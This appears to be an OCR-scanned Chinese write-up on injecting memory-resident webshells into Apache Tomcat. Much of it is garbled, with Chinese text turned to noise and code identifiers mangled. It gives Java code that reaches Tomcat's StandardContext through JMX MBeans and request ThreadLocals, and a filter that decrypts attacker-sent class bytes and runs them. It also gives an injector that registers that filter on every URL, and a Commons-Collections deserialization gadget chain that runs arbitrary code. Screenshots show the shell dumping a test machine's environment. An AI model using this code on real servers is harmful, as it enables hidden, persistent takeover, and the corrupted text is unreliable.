, 42, 43, 3, 43, -606, -73, 0, 2, -80, 0, O,

, 0, 6, 0, 1, 0, 0, 0, 8, 0, 9, 0, 0, 0, 22,
, 0, 10, 0, 11, 0, @, 0, 0, 0, 9, 0, 16, 0, 1
, 18, 0, 0, 0, 2, 0, 193,

Field field = Unsafe.class.getDeclaredField

-
-
-

-

-

-
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("theUnsafe™);
field.setAccessible(true);

Unsafe unsafe = (Unsafe)field.get(Unsafe.clas
s);

Class Uclass = unsafe.defineClass("net.rebeyo
nd.behinder.core.U" ,Uclassbate,@,Uclassbate.length,null, nul
s

Constructor tt = Uclass.getDeclaredConstructo
r(ClassLoader.class);

tt.setAccessible(true);

Object xx = tt.newInstance(this.getClass().ge

tClassLoader());

Method Um = Uclass.getDeclaredMethod("g",byte
[1.class);

Um.setAccessible(true);

Class evilclass = (Class) Um.invoke(xx,evilCl
assBytes);

Object a = evilclass.newInstance();

Method b = evilclass.getDeclaredMethod("fuc
k",String.class,ServletRequest.class, ServletResponse.class,H
ttpSession.class);

b.invoke(a, k,req, resp,session);

return;

}
} catch (Exception e) {
e.printStackTrace();//SEfrmiX BT @il
}
ks
@0verride
public String getServletInfo() {
return null;
}
@0verride
public void destroy() {
ks
Object invoke(Object obj, String methodName, Object... pa
rameters) {
try {
ArraylList classes = new ArraylList(Q);
if (parameters != null) {
for(int 1 = @; i < parameters.length; ++i) {
Object ol = parameters[i];
if (ol !'= null) {
classes.add(ol.getClass());
} else {
classes.add((Object)null);

}
Method method = this.getMethodByClass(obj.get(Clas
s(), methodName, (Class[])classes.toArray(new Class[@]));
return method.invoke(obj, parameters);
} catch (Exception var?7) {
return null;



s
Method getMethodByClass(Class cs, String methodName, Clas

S... parameters) {
Method method = null;
while(cs !'= null) {

try {
method = cs.getDeclaredMethod(methodName, par

ameters);
cs = null;
} catch (Exception var6e) {
cs = cs.getSuperclass();
}
3

return method;
ks
public static void setFieldValue(Object obj, String field
Name, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
f.set(obj, value);
ks
public static Object getFieldValue(Object obj, String fie
1dName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClassQ);
while(cs !'= null) {

try {
f = cs.getDeclaredField(fieldName);
cs = null;

} catch (Exception vare) {
cs = cs.getSuperclass();

b
3

f.setAccessible(true);
return f.get(obj);
3
private void transform(Object standardContext, String pat
h) throws Exception {

Object containerBase = this.invoke(standardContext,
"getParent”, (Object[])null);

Class mapperListenerClass = Class.forName("org.apach
e.catalina.connector.MapperListener", false, containerBase.ge
tClass().getClassLoader());

Field listenersField = Class.forName("org.apache.cata
lina.core.ContainerBase", false, containerBase.getClass().get
ClassLoader()).getDeclaredField("listeners");

listenersField.setAccessible(true);

ArraylList listeners = (ArraylList)listenersField.get(c
ontainerBase);

for(int i = 0; 1 < listeners.size(); ++i) {

Object mapperlListener_Mapper = listeners.get(i);
if (mapperListener_Mapper != null && mapperListen
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Object mapperlListener_Mapper?2 = getFieldValue
(mapperlListener_Mapper, "mapper");

Object mapperlListener_Mapper_hosts = getField
Value(mapperlListener_Mapper2, "hosts");

for(int j = @; j < Array.getLength(mapperList
ener_Mapper_hosts); ++j) {

Object mapperlListener_Mapper_host = Arra

y.get(mapperListener_Mapper_hosts, j);

Object mapperlListener_Mapper_hosts_contex
tList = getFieldValue(mapperListener_Mapper_host, "contextlis
t"s

Object mapperlListener_Mapper_hosts_contex
tList_contexts = getFieldValue(mapperListener_Mapper_hosts_co
ntextList, "contexts");

for(int k = @; k < Array.getlLength(mapper
Listener_Mapper_hosts_contextList_contexts); ++k) {

Object mapperlListener_Mapper_hosts_co
ntextList_context = Array.get(mapperListener_Mapper_hosts_con
textlList_contexts, k);

if (standardContext.equals(getFieldVa
lue(mapperListener_Mapper_hosts_contextlList_context, "objec
") {

new ArraylList(Q);

Object standardContext_Mapper = t
his.invoke(standardContext, "getMapper", (Object[])null);

Object standardContext_Mapper_Con
text = getFieldValue(standardContext_Mapper, "context");

Object standardContext_Mapper_Con
text_exactWrappers = getFieldValue(standardContext_Mapper_Con
text, "exactWrappers™");

Object mapperlListener_Mapper_host
s_contextList_context_exactWrappers = getFieldValue(mapperlLis
tener_Mapper_hosts_contextlList_context, "exactWrappers");

int 1;

Object Mapper_Wrapper;

Method addWrapperMethod;

for(l = @0; 1 < Array.getlLength(ma
pperListener_Mapper_hosts_contextlList_context_exactWrappers);
++1) {

Mapper_Wrapper = Array.get(ma
pperListener_Mapper_hosts_contextlList_context_exactWrappers,
1

if (path.equals(getFieldValue
(Mapper_Wrapper, "name"))) {

addWrapperMethod = mapper
Listener_Mapper2.getClass().getDeclaredMethod("removeWrappe
r", mapperlListener_Mapper_hosts_contextlList_context.get(Class
O, String.class);

addWrapperMethod. setAcces
sible(true);

addWrapperMethod. invoke(m
apperlListener_Mapper2, mapperlListener_Mapper_hosts_contextlLis
t_context, path);

ks
for(l = @; 1 < Array.getlLength(st
andardContext_Mapper_Context_exactWrappers); ++1) {
Mapper_Wrapper = Array.get(st
andardContext_Mapper_Context_exactWrappers, 1);
if (path.equals(getFieldValue
(Mapper_Wrapper, "name"))) {
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adawrappcermcecinoa = mnauppcr
Listener_Mapper2.getClass().getDeclaredMethod("addWrapper", m
apperlListener_Mapper_hosts_contextList_context.getClass(), St
ring.class, Object.class);

addWrapperMethod. setAcces
sible(true);

addWrapperMethod. invoke(m
apperListener_Mapper2, mapperListener_Mapper_hosts_contextlis
t_context, path, getFieldValue(Mapper_Wrapper, "object"));

}
}
}
}
%
%

}
3
private void nolLog(PageContext pc) {

try {

Object applicationContext = getFieldValue(pc.getS
ervletContext(), "context");

Object container = getFieldValue(applicationConte
xt, "context");

ArraylList arraylist;

for(arrayList = new ArraylList(); container != nul
1; container = this.invoke(container, "getParent", (Object[])
null)) {

arraylList.add(container);

ks

label51:

for(int i = @0; i < arraylList.size(Q); ++1i) {

try {
Object pipeline = this.invoke(arraylist.g
et(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline,
"getFirst", (Object[])null);
while(true) {
while(true) {
if (valve == null) {
continue label51;

3

if (this.getMethodBy(Class(val
ve.getClass(), "getCondition", (Class[])null) != null && thi
s.getMethodByClass(valve.getClass(), "setCondition", String.c
lass) != null) {

String condition = (Strin
g)this.invoke(valve, "getCondition™);

condition = condition ==
null ? "FuckLog" : condition;

this.invoke(valve, "setCo
ndition", condition);

pc.getRequest().setAttrib
ute(condition, condition);

valve = this.invoke(valv
e, "getNext", (Object[])null);

} else if (Class.forName("or
g.apache.catalina.Valve", false, applicationContext.get(Class
() .getClassLoader()).isAssignableFrom(valve.getClass())) {

valve = this.invoke(valv
e, "getNext", (Object[]Dnull);
} else

_n

{



vuLve = TiutLtiL,

}
}
}
}
} catch (Exception var9) {
}
3
} catch (Exception varl@) {

}

B4, MRFARE pagecontext WRIE? AILAZIXA Mbeans A
FKEY StandardContext, ={&Z % threede3am 7%,

2. 81T Mbean FXEY context
Meban &7

Tomcat €A JMX MBean R B SNMEEERE. STEEN

mbeans-descriptor.xml 2§34 Catalina 8 JMX MBean &R,
#1d Tomcat B MbeanServer EA IRl AZZEME] IMX BIXS
%,

org.apache.tomcat.util.modeler.Registry ZEFR{t T
getMBeanServer() FERBT3A1E (3 tliE) MBeanServer , £
JmxMBeanServer 1, E mbsinterceptor BIEFZEHRERITEEN

MBeanServer,

X mbsinterceptor X REZ T ZISIXE

com.sun.jmx.interceptor.DefaultMBeanServerinterceptor,

7£ DefaultMBeanServerinterceptor F£—"> Repository &% H
FI53E 89 MBean H1TIRTZ .



verinterceptor

Repository I7Z7E domainTb B, FEEFRA domain B
MBean




domianTb K get AFiE#EI domain %1, 2iRE—"
HashMap, BEEFfEEL domain FFRAFHAY Mbean

RN F ik, HNNLXTFEIMNEM MBeanServer FRIRERE]
SEMBIE AR,

JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) Registry.get
Registry(null, null).getMBeanServer();

// 3REImbsInterceptor

Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBean
Server").getDeclaredField("mbsInterceptor");
field.setAccessible(true);

Object mbsInterceptor = field.get(jmxMBeanServer);

// 3REXrepository

field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanSe
rverInterceptor™).getDeclaredField("repository");
field.setAccessible(true);

Object repository = field.get(mbsInterceptor);

// 3RBldomainTb

field = Class.forName("com.sun.jmx.mbeanserver.Repository").g
etDeclaredField("domainTbh™);

field.setAccessible(true);

HashMap<String, Map> domainTb = (HashMap<string,map>)field.ge
t(repository);</string,map

Object aaa = domainTb.get("Catalina™)

A1 JConsole $TH Tomcat B mbeans, R%,
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{BREFRENKIK.....

SMETeE2ERINE A EM, domainTb.get("Catalina") FIHEHEE
A, MAEEEIRE,

REERIANECBLEMINE, BREFANEML.,

XEBHAMTENLATAE Catalina FTELIEMAIE

HashMap aaa = (HashMap) domainTb.get("Catalina");
Iteratorit = aaa.keySet().iterator();
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String key = it.next();
System.out.printlnCkey + " : " + aaa.get(key));

3

NamedObject test = domainTb.get("Catalina").get("context=/,ho
st=1localhost,name=StandardContext, type=Context");
System.out.println("aaaa");

ABET T, XL TRBEI IS VAIAIRERE] StandardContext

lcontext=/bx_test_war_exploded,host=1ocalhost,name=NonLoginAu
thenticator,type=Valve
lcontext=/bx_test_war_exploded,host=1localhost,name=StandardCo
ntextValve, type=Valve
lcontext=/manager,host=1ocalhost,name=BasicAuthenticator,type
=Valve

1..

Z NonLoginAuthenticator Z5§ll, 3XKEX StandardContext

NonLoginAuthenticator 4##& 7 AuthenticatorBase, HHHY
context @M%, EXMREITHRAENTEEN

StandardContext NamedObject nonLoginAuthenticator = domainTb.
get("Catalina™).get("context=/bx_test_war_exploded,host=1ocal
host,name=NonLoginAuthenticator,type=Valve"




U IH R 43KEX context

XEE—THNUETET key

context=/bx_test_war_exploded,host=1ocalhost,name=NonLoginAut
henticator,type=Valve

context @INBEBFR, host & localhost, 7[R EHH, XMATZ
SEHNIHAH/E, JTUALER —T. FTIE—REENE,
Tomcat 7, 8, 9 #7F7£ NonLoginAuthenticator

EMNEINERNEFEDENN payload §AEI CC H

BAEMIBE2E—TRFIICNIRE

protected void doPost(HttpServletRequest request, HttpServlet
Response response) throws ServletException, IOException {
try {
String base64_ser = request.getParameter("ser");
BASE64Decoder decoder = new BASE64Decoder();
byte[] ser_bytes = decoder.decodeBuffer(base64_ser);
ByteArrayInputStream bis = new ByteArrayInputStream
(ser_bytes);
ObjectInputStream ois = new ObjectInputStream (bis);
ois.readObject();
}catch (Exception e){
e.printStackTrace();
ks
System.out.println("2222222222222222222222222222222222222
2");

PrintWriter ot = re<non<e aetWriter():



}

T T B e e 4

out.println("hello world");

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc
"5

InvocationHandler obj = cc3.getobject(cmd);
hello.deserializeToObject(hello.serializeToString(obj));
RF5t demotFE N i @i

c @ © O localhostB081/bx test war exploded/hellc

HMERNS @ FELE B esERs @ s

1o world

= iFg = BRER A

MERECT

Yx x? i =

BT REAE webshell BIMIHAIBEANEI CC

Myfilter 30T

import javax.crypto.Cipher;

import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;

import javax.servlet.http.HttpServlietRequest;
import javax.servlet.http.HttpSession;

import java.io.IOException;

import java.lang.reflect.Method;
//@WebFilter(filterName = "all_filter™)
public class MyFilter_old implements Filter {

String k="1a1dc91c907325c6";
public MyFilter_old(String key){

this.k = key;
}
public void destroy() {
}

public void doFilter(ServletRequest req, ServletResponse

resp, FilterChain chain) throws ServletException, IOException

{

System.out.println("filter##HiTT....\n");
try{
if (true) {
String k="1a1dc91c907325c6";
HttpSession session = ((HttpServletRequest) r

eq).getSession();

session.putValue("u",k);
Cipher c = Cipher.getInstance("AES™);
c.init(2,new SecretKeySpec(k.getBytes(),"AE

$"));

String reader = req.getReader().readlLine();
System.out.println(reader):



// byte[] evilClassBytes = c.doFinal(new sun.m
isc.BASE64Decoder().decodeBuffer(req.getReader().readlLine
0O

byte[] evilClassBytes = c.doFinal(new sun.mis
c.BASE64Decoder().decodeBuffer(reader));

Class evilClass = new U(this.getClass().getCl
assLoader()).g(evilClassBytes);
// Class evilClass = Class.forName("net.rebeyo

nd.behinder.payload. java.BasicInfo");

Object a = evilClass.newInstance();

Method b = evilClass.getDeclaredMethod("fuc
k", String.class, ServletRequest.class, ServletResponse.clas
s, HttpSession.class);

b.invoke(a, k,req, resp,session);

return;

3
} catch (Exception e) {
e.printStackTrace();//SEfriX EiFE @il
}
chain.doFilter(req, resp);
ks
public void init(FilterConfig config) throws ServletExcep
tion {
ks
3
HATEMy filter ##plbyte[] inject_tomcat EiEdefineclassiEfA
injectwebshell_tomcatlF
import javax.management.MBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import javax.servlet.Filter;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletResponse;
public class Injectwebshell_tomcat {
public static String url;
public static String password;
public Injectwebshell_tomcat() {}
static{
System.out.println("ffffffffffffffffffffrffrffffrfere
fffff™);
String filterUrlPattern = "/*";
String filterName = "233333";
String password = "pass";
try {
MBeanServer mBeanServer = Registry.getRegistry(nu
11, null).getMBeanServer();
// 3REImbsInterceptor
Field field = Class.forName("com.sun.jmx.mbeanser
ver.JmxMBeanServer").getDeclaredField("mbsInterceptor™);
field.setAccessible(true);
Object mbsInterceptor = field.get(mBeanServer);
// 3RElrepository
field = Class.forName("com.sun.jmx.interceptor.De
faultMBeanServerInterceptor™").getDeclaredField("repository");
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Object repository = field.get(mbsInterceptor);

// 3RBXdomainTb

field = Class.forName("com.sun.jmx.mbeanserver.Re
pository").getDeclaredField("domainTbh");

field.setAccessible(true);

HashMap<String, Map> domainTb = (HashMap<string,m
ap>)field.get(repository);</string,map

HashMap aaa = (HashMap) domainTb.get("Catalina");

String keyNonLoginAuthenticator = "context=/bx_te
st_war_exploded,host=1ocalhost,name=NonLoginAuthenticator,typ
e=Valve";

//

// Iteratorit = aaa.keySet().iterator();

// while(it.hasNext()) {

// String key = it.next();

// System.out.printlnCkey + " : " + aaa.get(ke
¥);

// response.getWriter().printlnCkey + " : " +
aaa.get(key));

// if(key.contains("NonLoginAuthenticator")){
// keyNonLoginAuthenticator = key;

// }

// }

// 3RExdomain
NamedObject nonLoginAuthenticator = domainTb.get
("Catalina").get(keyNonLoginAuthenticator);
field = Class.forName("com.sun.jmx.mbeanserver.Na
medObject").getDeclaredField("object™);
field.setAccessible(true);
Object object = field.get(nonLoginAuthenticator);
// 3RBEXresource
field = Class.forName("org.apache.tomcat.util.mod
eler.BaseModelMBean").getDeclaredField("resource™);
field.setAccessible(true);
Object resource = field.get(object);
// 3RBlcontext
field = Class.forName("org.apache.catalina.authen
ticator.AuthenticatorBase").getDeclaredField("context™);
field.setAccessible(true);
StandardContext standardContext = (StandardContex
t) field.get(resource);
// 3RElservletContext
field = Class.forName("org.apache.catalina.core.S
tandardContext™).getDeclaredField("context™);
field.setAccessible(true);
ServletContext servletContext = (ServletContext)
field.get(standardContext);
if (standardContext !'= null) {
/SRS, BERARRNAT
Field stateField = org.apache.catalina.util.L
ifecycleBase.class
.getDeclaredField("state™);
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.ca
talina.LifecycleState.STARTING_PREP);
//BIE—TBEXMFilters
byte[] MFbytes = new byte[]{Myfilter &y byte
s},
java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass",new Class[]
{byte[].class, int.class, int.class});
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Class myclass = (Class) defineClassMethod.inv
oke(Thread. currentThread().getContextClassLoader(), MFbytes,
@, MFbytes.length);

Constructor MFconstructor = myclass.getConstr
uctor();

MFconstructor.setAccessible(true);

Filter my_filter = (Filter) MFconstructor.new
Instance(Q);

//Rmfilters
javax.servlet.FilterRegistration.Dynamic filt
erRegistration = servletContext.addFilter(filterName, my_filt
er);
filterRegistration.setInitParameter("encodin
g", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(j
ava.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), fa
1se,new String[]{filterUrlPattern});
//REIRE, BERRRS AR
if (stateField != null) {
stateField.set(standardContext, org.apach
e.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
//ERfilter
Method filterStartMethod = StandardContex
t.class
.getMethod("filterStart™);
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,
null);
Class ccc = null;
try {
ccc = (Class.forName("org.apache.tomca
t.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.c
atalina.deploy.FilterMap™);
} catch (Throwable t){}
ks
//iBfilteri@RlSE—(u
Class c¢ = Class.forName("org.apache.catal
ina.core.StandardContext");
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke
(standardContext);
Object[] tmpFilterMaps = new Object[filte
rMaps.length];
int index = 1;
for (int 1 = 0; i < filterMaps.length; i+

+) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterNam
e)) {

tmpFilterMaps[@] = o;
} else {
tmpFilterMaps[index++] = filterMa
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b
ks
for (int 1 = 0; i < filterMaps.length; i+
+) {
filterMaps[i] = tmpFilterMaps[i];
}
3
ks
} catch (Exception e) {
e.printStackTrace();
}
3
ks
F91& CC RBaT

import com.sun.org.apache.xalan.internal.xsltc.runtime.Abstra
ctTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.Templates
Impl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilte
r;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.Ct(Class;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransfo
rmer;
import org.apache.commons.collections. functors.ConstantTransf
ormer;
import org.apache.commons.collections.functors.InstantiateTra
nsformer;
import org.apache.commons.collections. functors.InvokerTransfo
rmer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static InvocationHandler getobject(String cmd) thr
ows Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTrans
let.class));
CtClass cc = pool.makeClass("Cat™);
// String cmd = "java.lang.Runtime.getRuntime().exec
(\"open /System/Applications/Calculator.app\");";
// Bl static IBER, HIBARS
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime

Q;
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cc.setSuperclass(pool.get(AbstractTranslet.class.getN
ame())); //iFBXRENAbstractTranslet, BRIRE

// EXN.class X

byte[] classBytes = cc.toBytecode();

byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInst
ance();

setFieldValue(templates, "_bytecodes", targetByteCode

s);

// N defineTransletClasses() AEEBMRME

setFieldValue(templates, "_name", "name");

setFieldValue(templates, "_class", null);

ChainedTransformer chain = new ChainedTransformer(new
Transformer[] {

new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templa
tes.class},new Object[]{templates})

s

HashMap innermap = new HashMap();

LazyMap map = (LazyMap)LazyMap.decorate(innermap,chai
n);

Constructor handler_constructor = Class.forName("sun.
reflect.annotation.AnnotationInvocationHandler™).getDeclaredC
onstructor(Class.class, Map.class);

handler_constructor.setAccessible(true);

InvocationHandler map_handler = (InvocationHandler) h
andler_constructor.newInstance(Override.class,map); //BIE%E—
MLIEHhandler

Map proxy_map = (Map) Proxy.newProxyInstance(ClasslLoa
der.getSystemClassLoader(),new Class[]{Map.class},map_handle
r); //8lEproxyt®

Constructor AnnotationInvocationHandler_Constructor =
Class.forName("sun.reflect.annotation.AnnotationInvocationHan
dler™).getDeclaredConstructor(Class.class,Map.class);

AnnotationInvocationHandler_Constructor.setAccessible
(true);

InvocationHandler handler = (InvocationHandler)Annota
tionInvocationHandler_Constructor.newInstance(Override.class,

proxy_map);
return handler;

// try{
// ObjectOutputStream outputStream = new ObjectOut
putStream(new FileOutputStream("./cc3"));
// outputStream.writeObjectChandler);
// outputStream.close();
//
// ObjectInputStream inputStream = new ObjectInput
Stream(new FileInputStream("./cc3"));
// inputStream.readObject();
// }catch(Exception e){
// e.printStackTrace();
// }

ks

public static void setFieldValue(final Object obj, final
String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldNam
e);
field.set(obj, value);
3
public static Field getField(final Class clazz, final Str
ing fieldName) {
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try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
%
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), field

Name);
ks
return field;
3
public static void main(String[] args) throws Exception {
// String cmd = "java.lang.Runtime.getRuntime().exec
(\"calc\");";
// InvocationHandler obj = cc3.getobject(cmd);
// hello.deserializeToObject(Chello.serializeToString
(objd);

String cmd = "try{sun.misc.BASE64Decoder decoder = ne

w sun.misc.BASE64Decoder();" +

"byte[] inject_omcat_bytes = decoder.decodeBuffer(\"injec
t_tomcat base64RIBEEIEN");\n" +

"java.lang.reflect.Method defineClassMethod = ClassLoade
r.class.getDeclaredMethod(\"defineClass\",new Class[]{byte[].
class, int.class, int.class});" +

"defineClassMethod.setAccessible(true);" +

"Class myclass = (Class) defineClassMethod.invoke(Thread.
currentThread().getContextClassLoader(), 1inject_omcat_bytes,
@, inject_omcat_bytes.length);" +

"java.lang.reflect.Constructor MFconstructor = myclass.ge
tConstructor();" +

"MFconstructor.setAccessible(true);" +

"MFconstructor.newInstance();}catch (Exception e){e.print
StackTrace();1";
InvocationHandler obj = cc3.getobject(cmd);
hello.deserializeToObject(hello.serializeToString(obj));

ks
3
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[VL{EM BN ttp://localhost:B081/bx test war exploded/asdfdadvdfd ] B

ERER | foiT | Bl MEE AREE Rifshell  MUBFFETR BENRN EAAFD FEDE &SR EREE

FHER:
' USERPROFILE=C:\Users\Administrator
JAVA _HOME=C:\Java\jdk1.7.0_15
IDEA INITIAL DIRECTORY=D:\java'za\/Ki&\bx3
SystemDrive=C:
13 CURRENT_DIR=D:java\apache-tomcat-8.5.57\bin
_RUNJDB="C:\Java\jdk1.7.0_15'bin\jdb.exe"
Path=C:\Program Files (x86)\Common Files\Oracle\Java'javapath;C:\Program
Files\Java\jdk1.8.0 191\bin;C:\ProgramData\Oracle\Java\javapath;C:\python36\Scripts\;C:\python36';C:\Windows'system32;C:\Windows;C:\Windows'
Files (x86)\NVIDIA Corporation\PhysX'Common:C:\Program Files\NVIDIA Corporation\NVIDIA
| NvDLISR;C:\python27\;C:\ProgramData‘Oracle\Java\javapathaaa;C:\phpStudy\PHP Tutorial\php\php-7.0.12-
'8 nts;C:\Users\Administrator’\ AppData\Local\Microsoft WindowsApps:C:\Program
Files\Bandizip\;C:\Users\Administrator\AppData\Local\Programs'Microsoft VS Code\bin;C:\Program Files\JetBrains\IntelliJ IDEA
2 2020.1.4'bin;;C:\Users\Administrator\AppData\Local\GitHubDesktop'\bin
PROCESSOR REVISION=6001
"2 GameTurbo=C :\Program Files (x86)\ASUS\GameFirst\
12 USERDOMAIN=LAPTOP-CE14UIVC
13 ALLUSERSPROFILE=C:\ProgramData
| ACTION=start
" CATALINA BASE=C:\Users\Administrator\AppData\Local\JeiBrains\InielliJIdea2020.1\tomcat\Tomcat 8 5 57 bx test
SESSIONNAME=Console
17 TMP=C:\Users\ADMINI~1\AppData'\Local Temp
| EXECJAVA="C:\Java'jdkl.7.0_15\bin\java.exe"

|7 p—— \

13 CommonProgramFiles=C:\Program Files\Common Files
LOGONSERVER=\LAPTOP-CE14UIVC

PROMPT-SPSG

LOGGING MANAGER=-Djava.util.logging. p.apache.juli.ClassLoaderLogManager
PROCESSOR_LEVEL=23

USERDOMAIN ROAMINGPROFILE=LAPTOP-CE14UIVC

CATALINA TMPDIR=D:\java‘apache-tomcat-8.5.57\temp
LOCALAPPDATA=C:\Users\Administrator'AppData\Local

| COMPUTERNAME=LAPTOP-CE14UIVC

SystemRoot=C:\Windows

Intelli] IDEA=C:\Program Files\JetBrains\Intelli] IDEA 2020.1.4\bin;
USERNAME=Administrator

¢ >

B RNnaaiTh ki v3.0 Beta4 By rebeyond

2, Mhit5EEe,
3.threade3am 5353REY context

B4 threade3am M{EAYIN B itk
https://github.com/threedr3am/ysoserial, FfTMAHEH KA
FEERYFREY context SIS

String filterUrlPattern = "/*";
String filterName = filtername;
System.out.printlnCurl+" ";
try {
System.out.println("SSSSSS start start start");
/*NIF R RFFICEHRATRIZE/
//1E2% WRAP_SAME_OBJECT 1B} true
java.lang.Class cl = java.lang.(Class.forName("or
g.apache.catalina.core.ApplicationDispatcher™);
java.lang.reflect.Field f1 = cl.getDeclaredField
("WRAP_SAME_OBJECT™);
java.lang.reflect.Field modifiersField = fl.get(Cl
ass().getDeclaredField("modifiers™);
modifiersField.setAccessible(true);
modifiersField.setInt(fl, fl.getModifiers() & ~ja
va.lang.reflect.Modifier.FINAL);
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if (!fl.getBoolean(null)) {
fl.setBoolean(null, true);
}
//#4at lastServicedRequest
cl = java.lang.(Class.forName("org.apache.catalin
a.core.ApplicationFilterChain™);
fl = cl.getDeclaredField("lastServicedRequest™);
modifiersField = fl.getClass().getDeclaredField
("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(fl, fl.getModifiers() & ~ja
va.lang.reflect.Modifier.FINAL);
fl.setAccessible(true);
if (fl.get(null) == null) {
fl.set(null, new ThreadlLocal());
3
//#%1 lastServicedResponse
fl = cl.getDeclaredField("lastServicedResponse");
modifiersField = fl.getClass().getDeclaredField
("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(fl, fl.getModifiers() & ~ja
va.lang.reflect.Modifier.FINAL);
fl.setAccessible(true);
if (fl.get(null) == null) {
fl.set(null, new ThreadlLocal());
3
// java.lang.reflect.Field f = org.apache.catalin
a.core.ApplicationFilterChain.class.getDeclaredField("lastSer
vicedRequest");
java.lang.reflect.Field f = cl.getDeclaredField
("lastServicedRequest");
// System.out.println("111111111211111111111");
f.setAccessible(true);
java.lang.ThreadlLocal t = (java.lang.ThreadlLocal)
f.get(null);
/*shelliEN, BIIREEREZ=Z|request. responseE*/
if (t != null && t.get() !'= null) {
javax.servlet.ServletRequest servletRequest
(javax.servlet.ServletRequest) t.get();
System.out.println(servletRequest);
javax.servlet.ServletContext servletContext
servletRequest.getServlietContext();
System.out.println(servletContext);
//3REApplicationContext
Field field = servletContext.getClass().getDe
claredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (Appl
icationContext) field.get(servletContext);
//3KBiStandardContext
field = applicationContext.getClass().getDecl
aredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardCo
ntext) field.get(applicationContext);

}

SIS, FKEX context D ARE, BEHLISH



WRAP_SAME_OBJECT {2 true

SRIG#MA 1L, lastServicedRequest, FEM

javax.servlet.ServletRequest 3XKEX context

ER_ EEMLIRE, BINEN filter

= http://localhost:B081/bx test war_exploded/bbbbbbbbbbbbbbbbbb - [m] x

[§1:1E Bhttp://localhost:B081/bx test war exploded/bbbbbbbbbbbbbbbbbh) | Bl

HAMER &7 WELEE XAEE | ARES | Rshell | MIBFETE BEMERE EARED | FEDE SER WREE

TR
USERDOMAIN ROAMINGPROFILE=LAPTOP-CE14UIVC
PROCESSOR LEVEL-23
RUNJAVA="C:\Program Files\Java\jdk1.8.0 20\jre'bin'java.exe”
JSSE_OPTS=-Djdk.tls.ephemeral DHK eySize=2048
SESSIONNAME=Console
ALLUSERSPROFILE=C:\ProgramData
JAVA OPTS=-agentlib:jdwp=transport=dt_socket,address=127.0.0.1:64080,suspend=y server=n -
javaagent:C rs\Administrator' AppData‘Local\JetBrains\IntelliJIdea2020.1\captureAgent'debugger-agent.jar -Dcom.sun.management. jmxremote=
-Dcom.sun management. jmxremote. port=9999 -Dcom.sun.management. jmxremote.ssl=false -
Dcom.sun management jmxremote. password.file=C:\Users\Administrator' AppData‘Local JetBrains\IntelliTlIdea2020. 1\tomcat\Tomcat 8 5 57 bx _test\

Dcom.sun management.jmxremote.access. file=C:\Users\Administrator\ AppData‘Local JetBrains\Intelli]Idea2020. 1 \tomcat'\Tomcat 8 5 57 bx_test\jm»
-Djava.rmi.server. hostname=127.0.0.1 -Djdk tls. ephemeral DHK eySize=2048 -Djava protocol handler pkgs=org apache catalina webresources
PROCESSOR_ARCHITECTURE-AMD64
PSModulePath—C:\Program Files\WindowsPowerShell\ Modules;C:\Windows\system32'WindowsPowerShell\v1.0\Modules
SystemDrive=C:
ENDORSED PROP=ignore.endorsed.dirs
JRE_HOME=C:'Program Files\Java\jdk1.8.0 20\jre
USERNAME=Administrator
ProgramFiles(x86)~C:\Program Files (x86)
GameFirstUserPath=C:\ProgramData\ ASUS\GameFirst
PATHEXT=.COM;.EXE; BAT; CMD; VBS; VBE; JS; JSE; WSF:. WSH; MSC:,.PY.PYW
DriverData=C:\Windows\System32\Drivers\DriverData
GameTurbo=C:'\Program Files (x86)\ASUS\GameFirst\
ProgramData=C:\ProgramData
ProgramW6432=C:\Program Files
HOMEPATH=\Users\Administrator
